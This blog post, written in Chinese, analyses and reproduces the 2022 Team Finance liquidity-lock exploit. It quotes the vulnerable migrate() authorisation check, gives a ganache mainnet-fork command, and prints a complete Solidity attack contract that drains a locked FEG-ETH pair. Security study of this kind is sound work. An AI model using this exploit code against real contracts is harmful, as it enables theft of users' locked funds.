# 邯郸学步——Team Finance复现 **Published by:** [lgrok](https://paragraph.com/@lgrok/) **Published on:** 2022-11-08 **URL:** https://paragraph.com/@lgrok/team-finance ## Content team finance锁定的交易对的从v2迁移v3过程中, 因为检查不当导致构造利用任意的交易对可以迁移其他交易对。攻击hash:0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f 0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce攻击者合约: 0xCFF07C4e6aa9E2fEc04DAaF5f41d1b10f3adAdF4攻击者地址:0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd 0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb分析过程:准备工作 0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f 准备工作做了两个事情 1、获取交易费用 2、锁定Token 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF 获取锁定id 15324锁定Token攻击过程 0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce 通过调用Team Finance Lock的migrate,将之前准备好的id传入迁移参数。这个过程中迁移了1%的锁定FEG-ETH,然后将剩余的99%代币转换为ETH转入攻击者的第二个地址0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb迁移V2->V3代码分析:参数如下 (_id=15324, params=(pair=[Uniswap V2: FEG], liquidityToMigrate=15000000000000000000000, percentageToMigrate=1, token0=0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, token1=[Wrapped Ether], fee=500, tickLower=-100, tickUpper=100, amount0Min=0, amount1Min=0, recipient=0xBa399a2580785A2dEd740F5e30EC89Fb3E617e6E, deadline=1666859863, refundAsETH=true), noLiquidity=true, sqrtPriceX96=79210883607084793911461085816, _mintNFT=false)/** * migrate liquidity from v2 to v3 */ function migrate( uint256 _id, IV3Migrator.MigrateParams calldata params, bool noLiquidity, uint160 sqrtPriceX96, bool _mintNFT ) ...... { //检查管理员地址,和本次攻击无关 require(address(nonfungiblePositionManager) != address(0), "NFT manager not set"); require(address(v3Migrator) != address(0), "v3 migrator not set"); //检查锁定token时长,这里可以构造 Items memory lockedERC20 = lockedToken[_id]; require(block.timestamp < lockedERC20.unlockTime, "Unlock time already reached"); //检查迁移调用者为锁定token的提币地址,问题出在这里,原本应该检查FEG锁定的情况,这里只检查了传入id的所代表的token情况,引发了漏洞 require(_msgSender() == lockedERC20.withdrawalAddress, "Unauthorised sender"); require(!lockedERC20.withdrawn, "Already withdrawn"); ...... 乱七八糟的复现攻击代码毕竟没写过solidity,乱七八糟的写了写,复现了下攻击。 首先用ganache还原到攻击前的高度15837892,并解锁攻击者的地址 ganache-cli --fork.url https://eth-mainnet.g.alchemy.com/v2/key -h 0.0.0.0 --fork.blockNumber 15837892 -n -u "0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd"攻击代码//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IV3Migrator { struct MigrateParams { address pair; // the Uniswap v2-compatible pair uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender) uint8 percentageToMigrate; // represented as a numerator over 100 address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Min; // must be discounted by percentageToMigrate uint256 amount1Min; // must be discounted by percentageToMigrate address recipient; uint256 deadline; bool refundAsETH; } } interface LockToken { function getFeesInETH( address _tokenAddress ) external returns (uint256); function lockToken( address _tokenAddress, address _withdrawalAddress, uint256 _amount, uint256 _unlockTime, bool _mintNFT )external payable returns (uint256 _id); function migrate( uint256 _id, IV3Migrator.MigrateParams calldata params, bool noLiquidity, uint160 sqrtPriceX96, bool _mintNFT )external payable; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); } contract Hack { address public owner; address public constant LOCKTOKEN = 0xE2fE530C047f2d85298b07D9333C05737f1435fB; address public constant FAKETOKEN = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF; address public constant UniswapV2Paire = 0x854373387E41371Ac6E307A1F29603c6Fa10D872; event Deposit(uint256 id); event GetFeesOver(uint256 num); constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; } function getFeesInETH(address tokenaddress) external returns (uint256 fees){ fees = LockToken(LOCKTOKEN).getFeesInETH(tokenaddress); emit GetFeesOver(fees); } function lockToken(uint256 locktime, uint256 amount) external payable onlyOwner returns (uint256 _id){ uint256 fee = LockToken(LOCKTOKEN).getFeesInETH(FAKETOKEN); emit GetFeesOver(fee); _id = LockToken(LOCKTOKEN).lockToken{value: msg.value}(0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, address(this), amount, locktime, false); emit Deposit(_id); } function hack(uint256 id) external onlyOwner { uint balanceOfFEG = IUniswapV2Pair(UniswapV2Paire).balanceOf(LOCKTOKEN); IV3Migrator.MigrateParams memory param = IV3Migrator.MigrateParams(UniswapV2Paire, balanceOfFEG, 1, 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 500,-100,100,0,0,address(this),1669826489,true); //LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793911461085816, false); LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793, false); } event Received(address Sender, uint Value); receive() external payable { emit Received(msg.sender, msg.value); } } 总结一下这次漏洞的代码比较简单,只是因为鉴权不当导致资产损失。有些感悟可以凡是涉及到资产调用的合约代码,查看其信息流是否可控完成漏洞攻击。solidity的代码还是要多写,各种函数属性都会不是很熟悉。 ## Publication Information - [lgrok](https://paragraph.com/@lgrok/): Publication homepage - [All Posts](https://paragraph.com/@lgrok/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@lgrok): Subscribe to updates - [Twitter](https://twitter.com/LinGr0k): Follow on Twitter